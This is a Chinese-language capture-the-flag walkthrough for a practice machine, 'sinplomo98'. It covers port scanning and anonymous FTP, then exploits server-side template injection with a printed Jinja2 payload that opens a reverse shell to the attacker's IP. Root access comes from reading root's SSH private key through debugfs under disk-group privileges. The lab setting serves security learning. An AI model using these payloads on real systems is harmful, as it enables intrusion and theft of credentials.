靶机https://thehackerslabs.com/sinplomo98/
难度:高级(AVANZADO)
攻击ip:192.168.205.141
靶机ip:192.168.205.157

1.端口扫描

首先使用nmap扫描目标机器的开放端口:

nmap 192.168.205.157

image

通过扫描,发现目标机器上开放了多个端口,其中21端口(FTP服务)和5000端口(Web服务)我比较感兴趣。
先看21 ftp服务

2. FTP服务探测

ftp 192.168.205.157

#使用匿名登录
anonymous 
anonymous

ls
mget supermegaultraimportantebro.txt
cat supermegaultraimportantebro.txt

image
呵!就不[狗头]

3. Web服务探测

接下来,访问目标的80端口,进行模糊测试,但未能发现什么有用的信息。继续探测5000端口,发现是Web服务。

看看源代码有没有提示

image

根据页面的提示,加上路径测试。

image

4.SSTI利用

经测试,确认该Web服务存在Server-Side Template Injection(SSTI)漏洞
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md
尝试执行基本的模板语法:

{{8*8}}

通过以下payload执行远程命令:

{% for x in [].__class__.__base__.__subclasses__() %}
    {% if x.__init__ is defined and x.__init__.__globals__ is defined and 'exec' in x.__init__.__globals__['__builtins__']['exec'].__name__ %}
        {{ x.__init__.__globals__['__builtins__']['exec']('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.205.141",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")')}}
    {% endif %}
{% endfor %}

5. 权限提升

使用Linpeas脚本进行权限提升检查,发现目标系统属于disk组并存在SUID提取漏洞。

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe#disk-group

#查看系统分区和文件系统信息
df -h
#使用debugfs查看文件
debugfs /dev/sda1
debugfs: cat /root/.ssh/id_rsa

通过拿到id_rsa文件后,使用John进行爆破,最终获取root权限。